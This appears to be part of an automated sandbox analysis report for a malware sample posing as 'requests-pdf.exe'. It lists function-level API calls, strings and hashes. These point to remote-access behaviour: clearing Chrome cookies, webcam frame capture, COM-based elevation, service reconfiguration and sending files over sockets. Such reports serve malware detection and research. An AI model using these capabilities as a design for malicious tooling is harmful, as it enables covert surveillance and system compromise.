                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Object_wcslen
                                                    • String ID: $$[+] CoGetObject SUCCESS$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                    • API String ID: 240030777-4254711192
                                                    • Opcode ID: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                    • Instruction ID: fc525533c277bc68193a50c73470da8516ac5ecb6d0e8a829f6fb1e6541d593e
                                                    • Opcode Fuzzy Hash: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                    • Instruction Fuzzy Hash: 5911A975910118ABD710EBA4DC65BDEB7BCEB44710F51006BE904E3180F7749E048E79
                                                    Function 0040B2A8 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040B2E4
                                                    • GetLastError.KERNEL32 ref: 0040B2EE
                                                    Strings
                                                    • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040B2AF
                                                    • UserProfile, xrefs: 0040B2B4
                                                    • [Chrome Cookies found, cleared!], xrefs: 0040B314
                                                    • [Chrome Cookies not found], xrefs: 0040B308
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DeleteErrorFileLast
                                                    • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                    • API String ID: 2018770650-304995407
                                                    • Opcode ID: 89984b89c506dd7c72a5c030867ac5c43e97c4af1a23029286eaf0e318e25243
                                                    • Instruction ID: 647c9f6895dd19beb09db90be4e639f81332b1b521455d1adc7a9c6a9ee315b4
                                                    • Opcode Fuzzy Hash: 89984b89c506dd7c72a5c030867ac5c43e97c4af1a23029286eaf0e318e25243
                                                    • Instruction Fuzzy Hash: 3301A23164410557CB047BB5DD6B8AF3624ED50708F60013FF802B32E2FE3A9A0586CE
                                                    Function 024ECBD6 Relevance: 10.5, APIs: 7, Instructions: 47windowstringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 024ECBEF
                                                      • Part of subcall function 024ECC86: RegisterClassExA.USER32(00000030), ref: 024ECCD3
                                                      • Part of subcall function 024ECC86: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 024ECCEE
                                                      • Part of subcall function 024ECC86: GetLastError.KERNEL32 ref: 024ECCF8
                                                    • ExtractIconA.SHELL32(00000000,?,00000000), ref: 024ECC26
                                                    • lstrcpyn.KERNEL32(00473B68,0046C104,00000080), ref: 024ECC40
                                                    • Shell_NotifyIcon.SHELL32(00000000,00473B50), ref: 024ECC56
                                                    • TranslateMessage.USER32(?), ref: 024ECC62
                                                    • DispatchMessageA.USER32(?), ref: 024ECC6C
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 024ECC79
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                    • String ID:
                                                    • API String ID: 1970332568-0
                                                    • Opcode ID: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                    • Instruction ID: b28e9001435a29d30b8bb63e380242813e653a7b565e5c5fdd55a2a146e4afe0
                                                    • Opcode Fuzzy Hash: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                    • Instruction Fuzzy Hash: 7B0144B1904344ABD7109FA5FC4CEDB7BBCAB45B16F00403AF605E3162D7B8A285DB68
                                                    Function 004064D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe$Rmc-I7G983$BG
                                                    • API String ID: 0-466470916
                                                    • Opcode ID: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                    • Instruction ID: a0817f974ad937f6cb5b9dd001e5131ae01746641b95ac10126ddf8aadfa6e31
                                                    • Opcode Fuzzy Hash: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                    • Instruction Fuzzy Hash: 05F096B17022109BDB103774BC1967A3645A780356F01847BF94BFA6E5DB3C8851869C
                                                    Function 024D6737 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe$Rmc-I7G983$BG
                                                    • API String ID: 0-466470916
                                                    • Opcode ID: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                    • Instruction ID: 37817ded37b65dca78a742c4353fa10120a3b6a63104ebfd6c91893c11d5e3df
                                                    • Opcode Fuzzy Hash: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                    • Instruction Fuzzy Hash: A4F0BB70B413209BDF203B747D3877A364FE780796F41447BF50DD6261EB6488418A88
                                                    Function 004395FC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __allrem.LIBCMT ref: 00439789
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397A5
                                                    • __allrem.LIBCMT ref: 004397BC
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397DA
                                                    • __allrem.LIBCMT ref: 004397F1
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043980F
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                    • String ID:
                                                    • API String ID: 1992179935-0
                                                    • Opcode ID: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                    • Instruction ID: 29148231e9435c1f59b8c02308e8e4f0c882d016d38a0f6ab7871d26eba04b65
                                                    • Opcode Fuzzy Hash: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                    • Instruction Fuzzy Hash: 7A811B726017069BE724AE79CC82B6F73A8AF49328F24512FF511D66C1E7B8DD018B58
                                                    Function 02509863 Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __allrem.LIBCMT ref: 025099F0
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02509A0C
                                                    • __allrem.LIBCMT ref: 02509A23
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02509A41
                                                    • __allrem.LIBCMT ref: 02509A58
                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02509A76
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                    • String ID:
                                                    • API String ID: 1992179935-0
                                                    • Opcode ID: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                    • Instruction ID: 375aa5061143bd6e7b1d12d2186d4b9ee6c4739c2266277389887a35d62c3873
                                                    • Opcode Fuzzy Hash: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                    • Instruction Fuzzy Hash: B0812972A00B079BE7209E69CCC1B6A77AAFF81B34F24452AE511D72C6E770D9008B5C
                                                    Function 02512D3F Relevance: 9.2, APIs: 6, Instructions: 217COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 02512DCF
                                                    • _free.LIBCMT ref: 02512DE9
                                                    • _free.LIBCMT ref: 02512DF4
                                                    • _free.LIBCMT ref: 02512EC8
                                                    • _free.LIBCMT ref: 02512EE4
                                                      • Part of subcall function 0250AABB: IsProcessorFeaturePresent.KERNEL32(00000017,0250AA8D,?,?,024D1BC9,?,?,00000000,?,?,0250AAAD,00000000,00000000,00000000,00000000,00000000), ref: 0250AABD
                                                      • Part of subcall function 0250AABB: GetCurrentProcess.KERNEL32(C0000417), ref: 0250AADF
                                                      • Part of subcall function 0250AABB: TerminateProcess.KERNEL32(00000000), ref: 0250AAE6
                                                    • _free.LIBCMT ref: 02512EEE
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$Process$CurrentFeaturePresentProcessorTerminate
                                                    • String ID:
                                                    • API String ID: 2329545287-0
                                                    • Opcode ID: 4118d0c7a5faff20c3bdd9400e50d9846731c96832acf5071bf3a173b9413d13
                                                    • Instruction ID: 577288edbe5f3cd2a4e35a791fbbc7f54011c51f513d8096ebe79b827efed445
                                                    • Opcode Fuzzy Hash: 4118d0c7a5faff20c3bdd9400e50d9846731c96832acf5071bf3a173b9413d13
                                                    • Instruction Fuzzy Hash: BD518F365042266BFB249F78D840BBA7BA9FF85314F14415EED04D7240E7329D43C798
                                                    Function 02519BB7 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,02519E08,00000001,00000001,00000006), ref: 02519C11
                                                    • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,?,?,?,02519E08,00000001,00000001,00000006), ref: 02519C97
                                                    • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,00000006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 02519D91
                                                    • __freea.LIBCMT ref: 02519D9E
                                                      • Part of subcall function 02516D66: RtlAllocateHeap.NTDLL(00000000,0250468A,?), ref: 02516D98
                                                    • __freea.LIBCMT ref: 02519DA7
                                                    • __freea.LIBCMT ref: 02519DCC
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                    • String ID:
                                                    • API String ID: 1414292761-0
                                                    • Opcode ID: a4f5f7d7e0253137201d24c54ea4cf660dd43f3a14d4cde2709bba3cbd133d87
                                                    • Instruction ID: 8b170992609d2f62719ea0716e7b645ebac37dd0eb6b2883a1cb1cdcc648b5f2
                                                    • Opcode Fuzzy Hash: a4f5f7d7e0253137201d24c54ea4cf660dd43f3a14d4cde2709bba3cbd133d87
                                                    • Instruction Fuzzy Hash: D851D872600217AFFB258F64CC54EAB7BAAFF84754F194669FC05D6180EB34EC50C658
                                                    Function 00444B3D Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __cftoe
                                                    • String ID:
                                                    • API String ID: 4189289331-0
                                                    • Opcode ID: 9c401b065f3bfa052971b83b22631fc3acfeb1e9040e9a62fafe9f4e5745fff8
                                                    • Instruction ID: 646e0444ce84107b4b6d0ff1d92098e8eb0dfa86acef9ec08128487301265115
                                                    • Opcode Fuzzy Hash: 9c401b065f3bfa052971b83b22631fc3acfeb1e9040e9a62fafe9f4e5745fff8
                                                    • Instruction Fuzzy Hash: A851FC72900105ABFB249F598C81F6F77A9EFC9324F15421FF815A6281DB3DDD01866D
                                                    Function 02514DA4 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __cftoe
                                                    • String ID:
                                                    • API String ID: 4189289331-0
                                                    • Opcode ID: 69df1f9648de409375186bf4c737c9597d71512c260aa95240f454dab3e526b7
                                                    • Instruction ID: 6257d5518586a2221776cd768087c6d363ebb771852bb81937ae05ec7a95b9ba
                                                    • Opcode Fuzzy Hash: 69df1f9648de409375186bf4c737c9597d71512c260aa95240f454dab3e526b7
                                                    • Instruction Fuzzy Hash: A551CA32900206ABFB259B69CC44EAF7BAAFF89724F145219F81496291DB31D940CA6D
                                                    Function 025151A4 Relevance: 9.1, APIs: 6, Instructions: 143COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$Info
                                                    • String ID:
                                                    • API String ID: 2509303402-0
                                                    • Opcode ID: 15c1efeab650589001bcb3423f25e61575b515edc70c88f8593ca702e347ec5e
                                                    • Instruction ID: 653e47c762d3327443d957f79be91a9d6f5657254f4f22512f8c6794c8c7dc82
                                                    • Opcode Fuzzy Hash: 15c1efeab650589001bcb3423f25e61575b515edc70c88f8593ca702e347ec5e
                                                    • Instruction Fuzzy Hash: BF5154B0900306AEFB209FA5CC85BEEBAF9FF88704F44442DE599B6141D7B598458F29
                                                    Function 00446159 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __freea$__alloca_probe_16
                                                    • String ID: a/p$am/pm
                                                    • API String ID: 3509577899-3206640213
                                                    • Opcode ID: ef0e82919ac3b8602debd5a299a6af15dd8aa9f36d72cee99fb0876ec95c8b0f
                                                    • Instruction ID: cf09b504ad0dd49156c227457699755419044adef71e8be36bbdd309731302d4
                                                    • Opcode Fuzzy Hash: ef0e82919ac3b8602debd5a299a6af15dd8aa9f36d72cee99fb0876ec95c8b0f
                                                    • Instruction Fuzzy Hash: 5FD1F271A00206EAFB249F68D945ABBB7B0FF06300F26415BE905AB749D37D8D41CB5B
                                                    Function 00403DE7 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 135sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • Sleep.KERNEL32(00000000), ref: 00403E8A
                                                      • Part of subcall function 00403FCD: __EH_prolog.LIBCMT ref: 00403FD2
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: H_prologSleep
                                                    • String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera$P>G
                                                    • API String ID: 3469354165-462540288
                                                    • Opcode ID: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                    • Instruction ID: 0dce3c58988623f436d5c5d916b021fc345e3c2d86dff9f08dc17926b78fee06
                                                    • Opcode Fuzzy Hash: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                    • Instruction Fuzzy Hash: A441A330A0420197CA14FB79C816AAD3A655B45704F00453FF809A73E2EF7C9A45C7CF
                                                    Function 024D404E Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 135sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • Sleep.KERNEL32(00000000), ref: 024D40F1
                                                      • Part of subcall function 024D4234: __EH_prolog.LIBCMT ref: 024D4239
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: H_prologSleep
                                                    • String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera$P>G
                                                    • API String ID: 3469354165-462540288
                                                    • Opcode ID: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                    • Instruction ID: 7490ae8ab1b358247e6be7d998298d0bf2ee4c5a6ed1dd232a5dc2f550586f31
                                                    • Opcode Fuzzy Hash: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                    • Instruction Fuzzy Hash: 1841D530A0424057CB15FB79D87865D36A3AF41340F00452FEC4A9B7E5EF749A46CF8A
                                                    Function 024D6E50 Relevance: 9.1, APIs: 6, Instructions: 97fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 024D6E9F
                                                    • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,000186A0), ref: 024D6EE7
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    • CloseHandle.KERNEL32(00000000), ref: 024D6F27
                                                    • MoveFileW.KERNEL32(00000000,00000000), ref: 024D6F44
                                                    • CloseHandle.KERNEL32(00000000,00000057,?,00000008), ref: 024D6F6F
                                                    • DeleteFileW.KERNEL32(00000000), ref: 024D6F7F
                                                      • Part of subcall function 024D47C2: WaitForSingleObject.KERNEL32(?,000000FF,?,?,024D4875,00000000,?,?), ref: 024D47D1
                                                      • Part of subcall function 024D47C2: SetEvent.KERNEL32(?,?,?,024D4875,00000000,?,?), ref: 024D47EF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                    • String ID:
                                                    • API String ID: 1303771098-0
                                                    • Opcode ID: 7cdf14121b30b943d831dc041884720089c76492bcd48607f22f732c73577ab1
                                                    • Instruction ID: 4074157cc2e520654829d25559f3792bbb62682d1213f65420e75a26ad1005e0
                                                    • Opcode Fuzzy Hash: 7cdf14121b30b943d831dc041884720089c76492bcd48607f22f732c73577ab1
                                                    • Instruction Fuzzy Hash: C93160715083059FC220EF21DD94DAFB7ADFB84751F40492FFA86A2151DB74AA48CF92
                                                    Function 00419DEC Relevance: 9.1, APIs: 6, Instructions: 66serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419DFC
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E10
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E1D
                                                    • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00419507), ref: 00419E52
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E64
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E67
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                    • String ID:
                                                    • API String ID: 493672254-0
                                                    • Opcode ID: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                    • Instruction ID: c28812c6d5a3476d8c1fe7dae916194da5da8b168be8dbaba893861dad7fc5da
                                                    • Opcode Fuzzy Hash: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                    • Instruction Fuzzy Hash: 3301F5311483147AD7119B39EC5EEBF3AACDB42B71F10022BF526D62D1DA68DE8181A9
                                                    Function 024E9EEC Relevance: 9.1, APIs: 6, Instructions: 66serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011), ref: 024E9EFB
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,000F003F), ref: 024E9F12
                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 024E9F1F
                                                    • ControlService.ADVAPI32(00000000,00000001,?), ref: 024E9F2E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$CloseControlHandleManager
                                                    • String ID:
                                                    • API String ID: 1243734080-0
                                                    • Opcode ID: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                    • Instruction ID: 677622c5b3d3c5ad9ef5d417ea2562c315b1f6beba3d0d582a71a1fd206d07be
                                                    • Opcode Fuzzy Hash: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                    • Instruction Fuzzy Hash: 93118A31545218AFDB115B64EC84EFF3BACDF456A3B000036F907921D1DB64CD46DAB1
                                                    Function 00437E06 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,?,00437DFD,004377B1), ref: 00437E14
                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00437E22
                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00437E3B
                                                    • SetLastError.KERNEL32(00000000,?,00437DFD,004377B1), ref: 00437E8D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLastValue___vcrt_
                                                    • String ID:
                                                    • API String ID: 3852720340-0
                                                    • Opcode ID: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                    • Instruction ID: be779a20f6972cc68ff7cd304671387be2c97454b743a33de387a584dbd8fa65
                                                    • Opcode Fuzzy Hash: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                    • Instruction Fuzzy Hash: 2A01D8B222D315ADEB3427757C87A172699EB09779F2013BFF228851E1EF294C41914C
                                                    Function 0250806D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,?,02508064,02507A18), ref: 0250807B
                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02508089
                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 025080A2
                                                    • SetLastError.KERNEL32(00000000,?,02508064,02507A18), ref: 025080F4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLastValue___vcrt_
                                                    • String ID:
                                                    • API String ID: 3852720340-0
                                                    • Opcode ID: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                    • Instruction ID: d7cea78f3c83f6a0046e01be61e66d3a77392b02f09946adca7cb8b7dc7c2e5e
                                                    • Opcode Fuzzy Hash: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                    • Instruction Fuzzy Hash: 9101843261A752AEE7242774FCEDF372A59FB41B75B200339F618855E1EF114841964C
                                                    Function 00446EBF Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                    • _free.LIBCMT ref: 00446EF6
                                                    • _free.LIBCMT ref: 00446F1E
